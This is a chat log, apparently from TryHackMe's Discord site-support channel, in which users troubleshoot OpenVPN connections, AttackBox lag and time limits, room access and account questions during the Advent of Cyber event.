I want my "Free" room please?

[bronze vale]

Are you looking for the free network?

https://tryhackme.com/room/wreath

[crystal iron]

hey guys, i am the only one that cant download vpn?

[naive dust]

What are you trying to download it on?

[crystal iron]

eu reg2

[naive dust]

I meant OS, are you on windows or Kali?

[crystal iron]

kali

[naive dust]

Ok, I'll spin up my VM.

[crystal iron]

i could try to download the reg1

but it did not worked either

going to upgrade some packages, ill hit you in a min

[naive dust]

Do you get any errors?

[fast viper]

so is the download broken

[crystal iron]

using the reg1 nope, but i cant ping any machine

with reg2 i cant even download, always 404

[naive dust]

I just clicked download and it worked.

[crystal iron]

going to try with a diff browser

[naive dust]

https://tryhackme.com/vpn/get-config

Copy that and paste it in your URL.

[fast viper]

true

gives 404

[crystal iron]

404 still

[fast viper]

but when i go to access , it downloads perfectly

https://tryhackme.com/access

[naive dust]

^ try that.

[crystal iron]

true

ill try to run now

and check if its working

[fast viper]

openvnp [path.ovpn]

[crystal iron]

hahaha yes i know :p

[fast viper]

;p

[naive dust]

That won't work if the file isn't there.

[crystal iron]

still cant ping with reg1 @naive dust

but its says i am connected

[naive dust]

The vpn?

[crystal iron]

yep

and thm website

[naive dust]

Are you maybe connected via attackbox?

[crystal iron]

nah

i am terminating and starting over again a box

[naive dust]

Don't start an attackbox.

Are you using Kali in a vm?

[crystal iron]

i am not starting an attackbox hahaha

i am starting a room

[crystal iron]

ye and i never had problems with thm until now

well, restarted the room and the same thing happens

[naive dust]

Are you connected to openvpn on windows?

[crystal iron]

no , i have a VM with kali and i am connected to openvpn in Kali

i dont even run windows

[naive dust]

if you're connected to openvpn already, do you already have the file downloaded?

[crystal iron]

yes

[naive dust]

I was under the impression you couldn't download the file.

[crystal iron]

ye but i can now

but when i run openvpn everything works, i got an IP and everything

but when i start room adventofcyber day 1 i cant ping or access it

[naive dust]

Is room 2 not a static site?

[crystal iron]

yes but there are buttons to start rooms :p

i cant send pics here ... it would be cool if i could

[naive dust]

you need to verify.

You can load up the static site without the vpn.

[crystal iron]

dude

ok i will explain to you my problem xD

[naive dust]

That is probably best, because your opening line made me think you can't download the vpn file needed to connect 😂

[crystal iron]

i am in the tryhackme advent of cyber page ok?
i am connected to the VPN but when i start the room for day 1 i cant ping the IP of that room

thats my problem. then i tried to download eureg-2 vpn file but the same problem persists

[deep spire]

can you ping/see 10.10.10.10 and what's the output when you run "ip a"

[crystal iron]

Yes i can , give me 5 mins

[opal flare]

Sometimes the machine does not accept icmp not sure if that’s the case with advent tho

[crystal iron]

fixed it

i waited like 10 mins and its working now

pure magic

[deep spire]

that's not at all disconcerting 😄 good that it works, but always worrying that the issue might come back

[crystal iron]

probably it will, but its ok

i can report

[sleek otter]

Any admin for a quick check ?

I'm pretty sure I completed rooms before

Yeah it looks like I have two accounts 😦

I guess there no way to merge both ?

I used "+" in my email so I have email+thm@domain et email@domain -_-.

I've had a 4 days streak on the new account due to Advent of Cyber but old account was subscribed

Just added all my answers of Advent of Cyber to old acct

[errant forge]

Question - first time on THM and first time doing Advent of Cyber. The quality of the content is great - thanks to those who develop it!

I'm currently trying to knock out Day 4's tasks (a day late) and from my attack box I am unable to resolve the IP address listed in the exercise (not the IP address in the screenshot)

Upon closing out my attack box, terminating that session, and trying to log out and log back in to resolve this, I have launched a new virtual machine but the timer is back at 59 minutes and is telling me I have hit my free time cap for the day. Is this 59 minutes limited to a single attack box session?

Pardon the ignorance - any help is greatly appreciated. Thank you!

[sleek otter]

'thms' account deleted, added everything to Advent of Cyber 3 from 'thms' to '0xTHMS', only lost my days streak not sure if it's possible to "add" that.

[crystal iron]

is there are way i can have access to thm api?

[deep spire]

what for?

[crystal iron]

i want to make a tool to extract the info from a room and create a .md file

[keen scroll]

A Web scrapper?

[deep spire]

but why?

[crystal iron]

well ... if i dont have access to the API it will be a web scrapper ye

[crystal iron]

why not?

[keen scroll]

You may want to ask a THM Staff before trying it out
Perhaps, they can provide you with the publicly accessible API of some sort or some other way around

[deep spire]

why not scrape what people have put time and effort into? I'm Guessing it's against T&C's

[crystal iron]

xD why is that? that makes no sense tbf

[keen scroll]

Yeah, Web Scrapping is kind of against rules and stuff, IIRC

[deep spire]

@zealous yoke what's staff view on making web scrapers for THM content 👀

[keen scroll]

Or perhaps any available API endpoints for use

[crystal iron]

yes .... api for free

[sleek otter]

Done support contacted, not sure they will comply, but thank you.

THM Staff on the Mitre room at the Mitre Shield VM on the T1497 Technique you are unable to load its content and this is the 2nd time I shutdown the machine.

[naive dust]

I loaded it from outside the VM from here: https://attack.mitre.org/techniques/T1497/

[half meadow]

How do I know if my open vpn is connected or not?

I think it is but I have no run the command sudo openvpn <config file> after having rebooted my pc + my kali session

[naive dust]

you can go in the site to access click on your profile.

[naive dust]

you can also run the following command ps aux | grep openvpn

[half meadow]

this makes sense

[half meadow]

thanks 😄

[sweet elbow]

Trying the older Advent of Cyber 2019.

On Task 6, Day 1 . Machine is started, with an IP, but I can't get a response in browser. Tried Multiple times. Gave it over 10 minutes to "fully deploy".

Anyone else having issues?

[naive dust]

did you wrote the port http://IP:3000/ ?

[naive dust]

check if you are connected to the VPN and also launch a nmap scan, maybe they changed the port.

try using whatweb IPHERE
you can PING the machine.

[sweet elbow]

Good question. Can't remember if I did that last time. I'll try that and let you know if about 3-4 minutes

@naive dust , I'll try this stuff and see what happens. Thanks for the advice!

[astral delta]

Is it possible to see when my next "day" is, so i can launch attackbox again if not subscribed ? And to see how many hours until streak goes out?

[hollow otter]

Cmiiw but pretty sure its 24h on your timezone

[astral delta]

But if i dont remember exact time i did my last answer? The next "day" seems to be different times for me 🤔

[hollow otter]

Idk, since streak is count every 24h of your timezone i would assume would be the same for attackbox

[astral delta]

Yeah i think so too, but doesnt seem to be like that for me, thats the weird thing 😄

[leaden bay]

Hey all, is anybody able to tell me what type of language or code base this is?

It is the page source for a malicious HTML file (phishing attempt), I' am just gathering some intel about it for work, and want to find out the domain or IP the server is hosted at from this code.
Usually it's more evident but with this attachment it is hard and all encoded.
I have tried decoding it in Base64 but nothing readable is returned.
I' am still very new to the forencics and analysis side of things.

[leaden bay]

Looks like it is JS obfuscation from the following VT link I found when looking up the email address the email came from:

[lusty widget]

I was wondering, is there some image file of the AttackBox OS with all software preinstalled? I have a spare laptop and thought it would be nice to have a more responsive attack box than the online VM.

[craggy leaf]

hey, I am trying to build something that interacts with the API too, however the public API (the one opened to people who aren't part of the Training program) is very very basic.

[crystal iron]

and its not possible to do that with the public API right?

[craggy leaf]

These are the endpoints I am using:

    private baseUrl: string = 'https://tryhackme.com/'
    private api_url_user_rank: string = this.baseUrl + 'api/user/rank/'
    private api_url_leaderboard: string = this.baseUrl + 'api/leaderboards'
    private api_similar_users: string = this.baseUrl + 'api/similar-users/'
    private thm_user_url: string = this.baseUrl + 'p/' 

[craggy leaf]

for instance, I am not able to extract the user's country, that's info that it's burnt into the page and never retrievable from API (I believe, plz help!)

[crystal iron]

i just want to reach rooms

[craggy leaf]

in order to do what? I believe that's something you can only do through their 'training program' api, but not in the open

[crystal iron]

read what i typed ...

[craggy leaf]

however, I am planning also to create an npm package with all possible THM endpoints, so please don't hesitate to let me know your findouts

[crystal iron]

build a .md file with info about the room

[craggy leaf]

I see..like the tasks?

Isn't there this endpoint to consume?

https://tryhackme.com/api/tasks/pentestingfundamentals

or https://tryhackme.com/api/tasks/<room_id>

[crystal iron]

where did you find that endpoint? any link?

[craggy leaf]

I inspected the website's network on chrome, if you explain a bit further what you want to do, I might be able to script something quick in node/typescript

Hi Everyone

I need some urgent help regarding tryHack me event

I can't access the free attackbox in the advent try hack me event

everytime it is only showing active machine information details but not opening the attackbox

may i have response to my ask please??

i am thankful for this kind help @upbeat bloom or @bronze vale @admin

[upbeat bloom]

Please read the #rules, no DMs without asking first

I'm not staff, you need to ask your question then wait, you can also email [e-mail] (only 1 email)

[arctic fiber]

Please make no mistake @upbeat bloom ...It was just request considering you as valuble memeber of the room..

[upbeat bloom]

yeah but I have never used the attack box and know nothing about it. Still refer to the rules, you ask your question and wait

[arctic fiber]

sure

[lusty widget]

Since you can see the "Active Machine Information", is it possible that you only started the vulnerable machine? (That is, you clicked only the green "Start Machine" button).
If so, then scroll to the top and click the "Start AttackBox" button:

[arctic fiber]

Hi @lusty widget ,

Thank you very much for your response.

Please be informed that, I have already clicked on start machine button...i tried all the possibilities but not sure why it is not opening anywhere in the page

[scenic torrent]

Gave +1 Rep to @lusty widget

[lusty widget]

as I said, the "start machine" button will not start the attack box. it only starts the vulnerable machine. you need to click the start AttackBox button too, did you do that?

[arctic fiber]

it is reflecting the error message

Uh-oh! Non-subscribed user can only deploy the free AttackBox for 1 hour a day. Subscribe for unlimited access.

i clicked on start attackbox as reflecting in top of the windows Winston

but i cannot see the split view option in the broswer to open the attack box

[lusty widget]

ok that means you already tried this once today and the box ran for one hour, so you can't use it again today. As free subscribers we only get one hour per day

(which is fair, I mean the attack boxes need to run somewhere which costs resources, so it's already quite nice to have one hour for free)

[shy thorn]

How can I report a user I believe is cheating? Just email support?

[arctic fiber]

[heavy acorn]

Thank you that worked........bit of a weird fix but it worked😆

[scenic torrent]

Gave +1 Rep to @keen scroll

[lusty widget]

You can connect to the vulnerable machine via VPN, yes. But not to the attack box. Some challenges can be done from almost any computer, for some others you may need the tools available in the attack box. For that you could set up a VM locally on your computer and connect to the VPN from that.

[keen scroll]

That one has been shared quite a few times here.
I wonder why they don't provide it on the site, I haven't looked for it though😅

[keen scroll]

Isn't ssh available for the AttackBox?
I might have tried it once🤔

[lusty widget]

Regarding the VM: https://www.kali.org/get-kali/
Just click the option for "Virtual Machines", then you can set up your own local attack box if you want

[lusty widget]

hm that may work too, but as the one hour daily limit for achillies already expired there is no chance to start the box in the first place. But sure, should be possible going through SSH into the box (using the VPN as free attack boxes are not directly connected to the web)

[lusty widget]

I started a vulnerable machine for FileInclusion-AoC3. I am connected to the VPN, not using the AttackBox. When I open the IP adress in firefox then I get a 502 error. If I use curl then I get the correct result. Any ideas?
Edit: nevermind, clearing cache fixed it 😅

[arctic fiber]

Hi Winston

I have doubt..should we complete tasks on the same day that got triggered or we can complete them at any time....to enter into raffle or to win prizes?

Any thoughts on this please?

[lusty widget]

I have no idea about the prize raffle. So far I have done most tasks a day or two later as I don't have much time. Keep in mind that I also just joined for this Event. I may know some tech stuff, but I am not an expert about TryHackMe in general. This also seems to be the wrong channel as it is for technical questions, so I guess you could try asking in #910210693821780018

[clear hedge]

Hey there!
I'm facing this issue where rooms randomly stop working (stop responding to pings) and randomly start working again. Sometimes the rooms don't start at all, even 7-8 mins after starting the room.

I do a combination of all the below steps or maybe some of them to circumvent the issue, but I haven't found a solid solution.

*Checked connections in my host and VM, both ping fine.
*Restarted the room, generating a new IP
*Changed my vpn config file, trying other servers
*Restarted my host and VM

Again, the issue arises only with the VPN/room, because it stops responding to the room IP ping.

My config: Latest Kali image on VMware 16
Would really appreciate any help on this.

[plush bay]

have you checked that you only have a single tun device???? @clear hedge

because if you got multiple it might be the cause of the problem

[clear hedge]

you were right, I have 2 of them, tun0 & tun1. Can I just remove 1?

[naive dust]

wts wrong while connectign to nessus

[plush bay]

yeah you should be able to remove one and then also make sure to kill all instances of openvpn first to be sure there is no old ones left @clear hedge

then start it again and it should just work after

[tardy geode]

how can I delete an account from tryhackme.com ?

[clear hedge]

So I have tun0 and tun1, does it matter as to which one I delete? And I'm unsure as to which of the above 2 commands I should use.

Or should I use both?

[crystal marlin]

Just do sudo killall openvpn and start the vpn again and you should be good.

[clear hedge]

And it won't return after a restart?

[crystal marlin]

Dunno, it shouldn't unless you accidentally start openvpn 2 times without shutting down the current connection.

Just do the command provided and check if you got no tun interfaces anymore

[clear hedge]

Oh so that's what's causing it

[crystal marlin]

Then start the vpn and check again

[rough oar]

Hi ~ I recently subscribed -- am doing the advent challenges, but my machine "expired and terminated" !! I clicked the button for more time, and it expired anyway -- what am I doing wrong? I thought when you subscribed the machine wasn't supposed to time out.

[vale haven]

Is IN-Regular-1 VPN working?

[rough oar]

i'm using the attackbox -- does that help? or is there somewhere specific where I can find the answer to your question?

[vale haven]

No, I suppose that doesn't help. I'm using my own machine, and connecting to THM network via VPN like I always have. I haven't connected in long time, and noticed there's an Indian VPN server as well, so I switched to it, waited for 30 secs, and downloaded the configuration file. I can see the internal IP assigned to me on machine but I don't see any assigned IP on Access page of THM

[rough oar]

yeah -- I think when you do it that way, you need to access THM within your VM -- if the browser you're using is outside of the VM, it won't work (assuming I understand what you're saying LOL)

[vale haven]

I think you gotta ask for more time before your attack box expires, not after it expires

[rough oar]

I did ask for more time 7 minutes before it expired

then it expired anyway

[vale haven]

not an expert on this, I'll let someone else answer you

lol NO

@rough oar I'm not using a VM, I'm directly accessing on my host machine. There's no VM

[rough oar]

well, I dunno -- perhaps a glass of wine will clear things up . . . cheers!

[vale haven]

it's 8AM for me

😄

but thanks anyways

[rough oar]

ah, I shall have one for you then

[vale haven]

yup, I think I caught a bad time to do THM today, no one from team/mods seem to available

[vale haven]

Hey @sharp bear , can you help or ask someone from your team to help with the VPN issue?

[sharp bear]

I don’t see an issue here

the access page can lie sometimes

If you’re connected and can interact with 10.10.10.10 nothing else matters

@vale haven

[vale haven]

I'm not able to interact with 10.10.10.10

that's why I wanted to know if IN VPN is up or not?

one strange thing though, tun0 status is neither UP not DOWN, could this be an issue?

@sharp bear

[versed furnace]

hello, i am a new premium membre i have a issue with the vpn...
I download my conf.file and run the command it gives me a 10.13.x.x adress but i cant ping 10.10.10.10 or any of the box that i need

[quaint lichen]

does THM have a dark mode?

nevermind, after searching this channel, it appears not

[hidden sleet]

Hey team, I just started Vulnversity and it seems that I can ping the box but when I try to make a connection with the webpage on port 3333, nothing is popping up. I think it is timing out.

[hollow otter]

Make sure to wait about 5 minutes after you start the machine

[finite aurora]

You can use a browser extension but it makes the site kinda laggy (atleast for me)

[forest eagle]

Hello mates! I hope this is the right place to ask. I would like to change my sub type from monthly to annual, since I saw the 20% discount on AoC3, but I have trouble doing that. I can cancel my current sub, but this way I have to wait till the end of the month, so I still count as a subbed user and cant do an annual sub payment. Strange enough. Can you please give me some direction? Thnaks!

[leaden bronze]

anyone know why i don't have a recovery mode listed here ? i'm trying to drop in to the root shell to give myself back sudo privileges but can't get into recovery mode.

i went to advanced options

[keen scroll]

Isn't the second option for each kernel version its recovery mode?
You could boot from a live USB and then chroot into your OS after mounting its / (root) partition
It might be a little bit more difficult if its encrypted😬

[leaden bronze]

i get that since i didnt enable my root login

[keen scroll]

Yeah, you can chroot from a separate OS, live boot
And add sudo group to your user

It will be better if you discuss your issue in #infosec-general or #general

[leaden bronze]

oh sorry ok.

[clear hedge]

Does anyone know if and how I can use my dedicated GPU in Kali for password/hash cracking? I'm on a Legion Y530 laptop with an NVIDIA 1050, Kali running in VMware

[keen scroll]

Please refer to #infosec-general
This channel is meant for site related tech support

You can use hashcat

hello !
I'm new to tryhackme, I'm doing the advent of cyber.
I'd like to access to my machine using OpenVPN, but when I click on "download your OpenVPN configuration pack" I get an error page (404 - An error occured)... Is it normal ? Is it a premium feature or something ?

[crystal marlin]

Let me know in case you are still on that machine and having that issue, I can run it for you then.

[lament trout]

I am, should I dm you the IP?

[crystal marlin]

You can, yes.

Just to be clear, you said you are having issues with nmap, but posted the command for gobuster, so what should I try, gobuster or nmap?

[lament trout]

my bad, it was actually gobuster

[crystal marlin]

K

[lament trout]

I also have tried running dirbuster with directory-list-2.3-small.txt wordlist and its so slow even at 50 threads that I estimate it to complete the enumeration in about 4hrs.

[crystal marlin]

Seem quite slow for me too. Have you restarted the machine already?

[lament trout]

yes, multiple times on multiple days.

[crystal marlin]

I'll try to start a machine for myself to see if it's still like this.

[lament trout]

yeah, thanks

[tacit ivy]

Hi. I am trying to connect to the VPN and getting the following error?

[ocean thistle]

I'm also finding that I can't download my vpn config - I have paid for premium. https://tryhackme.com/vpn/get-config leads to 404
Aahh. I've just discovered that if I change the server to something other than EU-Regular-2, it works

[fervent schooner]

oh ?

lemme try

still doesn't work for me :(

which server did you pick ?

[crystal marlin]

K, tried it right now. Still seems a bit slow. But, when I tried the first run with the small directory list like he used in the walkthrough video it was kind of ok, would still take a little bit of time but wasn't too bad. After a couple of times the machine got a bit unresponsive, so I suggest you try the small list and don't run the dir scan too many times.

[ocean thistle]

EU-Regular-1 works for me (and others but just tried this one)

[sage sierra]

there's something wrong with the cert or the format in the config file, multiple people have had that problem

[crystal marlin]

Change server, regenerate config file, wait 2+ mins before downloading it.

[tacit ivy]

Yeah just tried EU-Regular-1 and it worked but none of the others work

[lament trout]

okay, I'll try that. thanks.

Can you do curl 10.10.10.10/whoami and get a reply with your tun0 IP ?

[muted girder]

Hi

[crystal marlin]

What OS is that, is there even curl installed?

[spare raft]

It’s popos

[muted girder]

I cannot start burp attack for advent day 4. Error .
This attack type requires between 2 And 20 payloads position

[crystal marlin]

But check if you only have a tun0 interface and not any extra like tun1, tun2 etc.

[spare raft]

If it wasn’t installed I would get curl cmd not found I think

[muted girder]

Second file is filled with lots of lines which didn't not got upload but software.

[spare raft]

Yes only tun0

[crystal marlin]

Mh, curl doesn't seem to work for me either. Maybe there is an issue with that machine. But do you face any issue with target machine? As if you don't, I would ignore the 10.10.10.10 machine for now.

[spare raft]

Yes everything is fine just wouldn’t ping I usually ping the 10101010 to check I’m connected with the thm vpn that’s why I let you know about the problem

AttackBox gives Remote Login request on AOC3 Room 7. Is this supposed to be happening? Alright, according to the video walkthrough, the MongoBD should be loading in its place. Is there a way to fix this?

[low ridge]

Hello

Someone know what is access to networks ?

[naive dust]

Some time ago my old discord got deleted, which means that i cant get my Discord & Tryhackme account linked. It would be nice if this could be resetted. I have all the personal information ready if needed 🙂

[lyric lake]

From what I can see, it appears that Openvpn is having multiple Authenticate/Decrypt packet errors when i start the AOC3 Day 7 machine. Trying to start the AttackBox just threw about 15 more Auth/Decrypt errors up.

[plush bay]

shadow would recommend after following fontaenes tip of sudo killall openvpn first and if any remain remove those with ip link delete tun to make sure there are none left and then starting the vpn again with sudo openvpn yourusername.ovpn

[plush bay]

if you click the learn button and scroll down to the bottom there is 3 networks you can select... wreath is the network unlocked by having a 7 day streak or above

[placid mango]

You get access to Wreath network.

[lyric lake]

This is what my OpenVPN is throwing all of a sudden. I have erased and re-downloaded my ,ovpn file and even changed servers and downloaded again. Any help is appreciated.

[junior marlin]

Im currently in content discovery room, after starting the machine I cannot connect to room links, giving ERR_CONNECTION_TIMED_OUT. any quick fixes known?

Hi everyone. How do you copy/paste text in and out of the attack box on a Mac? Seems standard ^C ^V won't do it.

[plush bay]

there is a small tab on the left of the attackbox window... click that and you get a list of a few options... the middle one lets you copy text to and from the attackbox

[vapid elm]

What is happening with the deployed attackbox/kali machines ? They are borderline unusable.... Is anyone looking into this issue?

[chrome cloud]

what's unusable about them specifically? I was using one until about 10 minutes ago to do today's advent of cyber and I was able to complete the task

[vapid elm]

When i type the lag between when i press a button and when it appears is sometimes huge (10+seconds) and on average about 2-3 seconds. Moving windows, trying to select something again is laggy and it was easier for me to just type the answers (and them being random numbers and letters is not fun). This time was a little better than yesterday since i was able to complete the challenge myself and did not have to rely on the video, but i don't want this to be the norm and i want to know if someone is investigating the issue.

[chrome cloud]

ah that sounds frustrating

Usually you should be able to just terminate and restart it with the buttons just fine. So dunno why that happened to you.

Tried to type it by hand already instead of copy paste?

Mh. Maybe try to log out of your account and back in, or try a different browser.

Tried closing browser, logging, but neither worked.

I'll have to install a new browser if I'm going to try that route

You just have to wait and be patient I guess.

[sage latch]

fellas where do i find the password to ssh into the machine i have to use? (AoC task 8 in this case)

[lusty widget]

Task 8 does not require SSH if I'm not mistaken

[sage latch]

How else would you connect to the machine then if you are using the VPN method instead of the in browser attack box?

I've always been slightly confused about this regarding THM

[lusty widget]

Ok so if you are in the VPN, then the vulnerable machine is already reachable via the IP given to you. You can directly perform commands like dirb http://<IP> wordlist.txt from your machine. You don't need to SSH anywhere for that. The only requirement is, of course, that you have the necessary tools installed on your machine (like dirb in this case).

[sage latch]

Ohhh, that makes sense, cheers man!

[lusty widget]

Happy to help!

can you use VNC or something to drop into your AttackBox if you're on OpenVPN?

[elfin roost]

did you answer me

[novel sonnet]

No, separate question

[elfin roost]

ohh sorry sir

[novel sonnet]

np 🙂

[crystal marlin]

I think you can, although I'm not quite sure what for you would want that. Check the information button at the bottom of the attackbox, there you should find creds for it.

[novel sonnet]

The logic behind my ask was there's many tools and scripts that are GUI on the AttackBox. Rather than installing them on my computer, I could VNC in to use them directly.

[crystal marlin]

But you could also simply use the attackbox within your browser? You can also use it in full screen.

[winter star]

is there a way to make my attackbox faster? its super laggy and moving at like 1 frame per 5 seconds

[novel sonnet]

hehe, see @winter star below...the browser is super laggy and I was hoping VNC may be faster given it's a more native protocol than a browser-based session

[winter star]

its super laggy for some reason.

[crystal marlin]

Mh, dunno. Maybe related to the amount of people who are using it due to AoC. I think they already did some adjustments to the attackbox, not sure if that's already completed.

[winter star]

dang that sucks :/

[maiden pumice]

dude can you help me out

[maiden pumice]

.

[sleek jackal]

try restarting the machine and refreshing the page

the equivalent of turning it off and on again

also, are you connected via VPN? or are you trying to use the attackbox

[maiden pumice]

attackbox

[sleek jackal]

try power cycling it and refreshing the page

[maiden pumice]

what is power cycling

[sleek jackal]

turning it off an on

you terminate the machine and restart it by launching it again, if there is even a machine to launch

if it is an included 'site' which you just view, try holding shift while you refresh the page and then viewing the site again

Windows Fundamentals RDP machines are unstable. Is there a mod or staff member we should let know?

[fiery cypress]

idk if its different but im using mac, would that help

[sweet elbow]

not so much in this case. I think it's server side for THM. Others reported same issues yesterday

[sweet elbow]

you're connected to the VPN, or are you using the attack box?

[fiery cypress]

i mainly use my terminal while connected through the vpn but that didnt work so i disconnected from the vpn and tried loggin in through the attack bax

box

just to make sure im doing it right you do "ssh tryhackme@(ip address)" and then wait for the y/s then put in the password which is tryhackme correct?

[sweet elbow]

if you're connecting to that particular box, then yes, you would use that ssh syntax.

if you're doing an nmap scan, then you just need to be connected via VPN, or in attack box, then you would follow the nmap syntax to scan that IP

[fiery cypress]

would i be able to send you a screenshot through dms to help explain, once i do all of that it takes too long to sign it and says times out or something like that

actually i can copy and paste the message

this is what it says

ssh tryhackme@10.10.19.212 ssh: connect to host 10.10.19.212 port 22: Operation timed out

and i am connected to the vpn, thats through my computer, not the attack box, but when i try it through the attack box it shows the same message

[sweet elbow]

hmmm

and the IP is the IP of the machine you're "attacking"

[fiery cypress]

yes its for the machine i started

[steep wharf]

ik this is really dumb but im trying to change my kali linux password but for some reason when i enter a char it just fucking dosn't input it. what do i do?

[sweet elbow]

can you verify that you are connected to the VPN?

In a terminal, type ip address and look for "tun0" you should see that and the IP should match the one shown in the green bubble on try hack me webpage at the top

[fiery cypress]

it matches the one in the green bubble yes

[sweet elbow]

I would think it should work then

[fiery cypress]

weird, i feel like its some sort of connection issue or something because it says times out but my wifi is doing 64 mbps

[sweet elbow]

you're sure that the username is correct?

[fiery cypress]

yeah so i just tried connecting to a different machine in a different room and that worked, must be the room im in just is down or something

[sweet elbow]

that could be the case then

[fiery cypress]

ill look up a walkthrough and learn from there since ill still see how to use the stuff

thank you for helping though the "tun0" will help if i have future problems

[sweet elbow]

no problem!

Thank you

yeah i cant figure out which port ssh is running

[crystal marlin]

Which nmap room is it to begin with, as there are a couple? But most likely you are not supposed to ssh into the nmap target machines, as they are just used to be scanned.

[fiery cypress]

https://tryhackme.com/room/furthernmap

im just trying to get into the machine to conect

im connected to the open vpn but this seems to be the only room i have trouble on so its ok if we cant figure it out

[crystal marlin]

Well like I said, the nmap target machines are not supposed to ssh into. You can only scan these machines with nmap.

[fiery cypress]

ohh

that would make sense considering i cant even get into it on the attack box in the webiste, thank you

[crystal marlin]

In general, if you are doing a walk-through room, like that room for example, and it's not giving you instructions and creds to ssh into that machine, you can't. So just to prevent further issues with that. 🙂

[crystal marlin]

Via your IP most likely. #site-support message

[keen scroll]

That command I mentioned before stays in effect for that terminal session only.
And you would have to use it again

To prevent this, you can add that command into your shell's .rc file

So, if you're using bash it is ~/.bashrc
~/.zshrc for zsh and similar

You can open up this file according to your shell (check echo $SHELL)
And add the following at the end of it -

# handy little aliases
# alias to connect to TryHackMe VPN
alias thm='sudo openvpn /path/to/config.ovpn'

BTW, this isn't related to site related #site-support and should be discussed in some other channel like #infosec-general or #quiet-conversation

[naive dust]

To listen to a reverse shell. My distro is giving me these three options.

[sleek jackal]

... is this a trick question? How is your distro giving you three options to perform a reverse shell?

it isnt really a tech support question

sounds like something on an exam

have you tried googling the choices to see what they actually are?

[naive dust]

No, I have all three in the repo of my distro. Wondering which one to take/use

[abstract pelican]

for example: If I need to grep "text" like this I can't get the keystroke in attack machine

[sleek jackal]

what keyboard layout are you using? Is it qwerty?

[sleek jackal]

what does it actually input?

what are the headers of the column? just send the whole page so I can see what you are looking at

[naive dust]

[sleek jackal]

you are looking at variants

gnu os is a collection of free software.

openbsd is another os

these are variants written for the different OS

[naive dust]

I know that. So I am asking which variant you would recommend or if there is no difference.

[sleek jackal]

np lemme know

[sleek jackal]

it is hard to answer that because it would boil down to what actually works for you. simply looking at maintenance, the openbsd variant is more up to date, whereas the gnu variant hasnt been touched since last year. this does NOT mean it is better, simply that someone is looking after it. you would have to look at both and see if they offer any technical advantage over one another, which is more reliable, easy to use, compatible, etc

yes i know i need technical help because i'm logged off everywhere and nothing works anymore ... just wanted to ask why it could be

[nimble comet]

This is not a THM related issue that we can give support on.

[steep sand]

ok

do you know a server that does that?

[broken bear]

This is an ethical hacking learning server. What part of helping you fix your system after trying to install game cheats is ethical?

[nimble comet]

it's really simple, THM questions only. The title says it all here.

[alpine umbra]

hey - having problems with openvpn - I download the configuration file and run it - but it gets stuck at "initialization sequence completed" - how do I trouble shoot that ?

[nimble comet]

that usually means it should be working

[alpine umbra]

so I just let the terminal window stay open or ?

[nimble comet]

yeh, just let it stay open

you can stop the connection with Ctrl+C

when you wanna end it

[alpine umbra]

ah

pretty sure I was unable to ping the box in my room though - I'll recheck

[crystal marlin]

Using ping is not reliable to check your connection. If the machines doesn't respond to it it doesn't mean you connection is not good neither that the machine is down.

[alpine umbra]

seems I can ping the box now - I must have closed the terminal ealier on - my bad - and thanks for the help

@crystal marlin it's one of the first boxes - they respond to pings afaik

Just letting you know to not rely on that if you are not getting a response. 🙂

Hi i'm not able to connect to lab machines

i tired regenerating the config....nothing happened still same

[crystal marlin]

Can you open 10.10.10.10 in your machines browser?

[turbid void]

nope

[crystal marlin]

If you check ip address can you only see a tun0 interface or any extra like tun1, tun2 etc?

[vocal fossil]

HI

[turbid void]

no its only tun0

[crystal marlin]

Did you use the config file provided by THM ?

[turbid void]

then vpn file ?

[crystal marlin]

yes

[turbid void]

yes thats the one

[crystal marlin]

If you do curl 10.10.10.10/whoami are you getting a reply with your tun0 IP?

[turbid void]

connection time out

I had this issue earlier it was some kind of issue from the server after 2-3 days the vpn was working just fine

[crystal marlin]

Try sudo ifconfig tun0 mtu 1200 and then do the curl again.

[crystal marlin]

Ye ignore that, it's not reliable.

[turbid void]

oh ok let me to try to connect to a machine

[bronze vale]

You have multivpn

sudo killall openvpn

In your terminal, make sure the THM VPN is the only one running.

After you have killed all VPN instances using that command, re-run the OpenVPN command and keep it running in that terminal window. Right click, press “New tab” or “New terminal window” or press CTRL+SHIFT+T

( @turbid void ) sorry not sure if I pinged

[turbid void]

yah done that already but still not able to connect to the machines

[bronze vale]

Are you running a virtual machine?

[idle canyon]

all the openvpn sites and tutorials say that there is a connect button on the taskbar when we right click openvpn but there is no "connect" option 👀

[turbid void]

no no

[bronze vale]

Screenshot where you’re getting that IP address from please

[turbid void]

xrdp one ?

[bronze vale]

Can you use the IP command instead of ifconfig, ifconfig has caused some issues over emails and it’s depreciated^^

[bronze vale]

That’s not the IP you’re typing on the xrdp command:)

[turbid void]

sorry my bad😅

it was the old command

[turbid void]

yes it's working

[crystal marlin]

Oh sure, I just copy pasted it, but I already switched to ip address for checking interfaces because I already saw you mentioning that, but will keep that in mind 🙂

Hey there:)

Is OpenVPN causing you some problems?
Have you already tried the other steps pinned in the #site-support channel?
Have you ran the TryHackMe OpenVPN troubleshooting script (https://github.com/tryhackme/openvpn-troubleshooting)?

Well, not to fear Jabba is here!
Simply, head to your commandline while you have OpenVPN running and type:

sudo ip link set dev tun0 mtu 1200

To verify that you can connect properly, type the following command, if you are connected it should return your tun0 IP address:

curl 10.10.10.10/whoami

Common problems that this should resolve:

• SSH connection refused on rooms that have an open SSH port.

• Timeout errors (be sure to wait up to 15 minutes for the room to start up)

• Connection refused on webpages (Also check that you are using http:// instead of https://)

• Slow or intermittent VPN connection

What does the command do?
You're probably wondering "why should I run this command blindly into my terminal without actually knowing what it does" or "who does this Jabba user think he is telling me to execute commands without understanding them because that would be unsafe?"

Not to worry:) The command simply turns down the maximum amount of data that can be sent across the VPN tunnel. The default value is 1500 and we are turning it down to 1200.

[bronze vale]

*Please note, this does not work for Windows or users using the OpenVPN GUI.
If you are on Linux and are using the VPN manager or GUI, don't. Please use the commandline tool.

[idle canyon]

so this is useless?

i have another linux laptop but i wasnt in the mood to use that atm but guess now i have no choice

[finite aurora]

Well if you aren't facing the problems mentioned above
You can use this too 👌

If you're on Linux, don't use the GUI or VPN manager

Hello, sorry for the newbie question but is there a way to copy content between the deployed machine and my web browser (trying to copy the flag)

[chrome cloud]

i have this problem too, and i think it is that these websites are blocking tryhackme's servers because you can't ping them either. the way i resolved it is that i edited /etc/hosts to add these lines:

127.0.0.1    maxcdn.bootstrapcdn.com
127.0.0.1    code.jquery.com
127.0.0.1    cdnjs.cloudflare.com

for some rooms i have to also redirect fonts.googleapis.com to 127.0.0.1 in this same manner

[naive dust]

Are you in a AttackBox or VM?

[proven owl]

AttackBox

[naive dust]

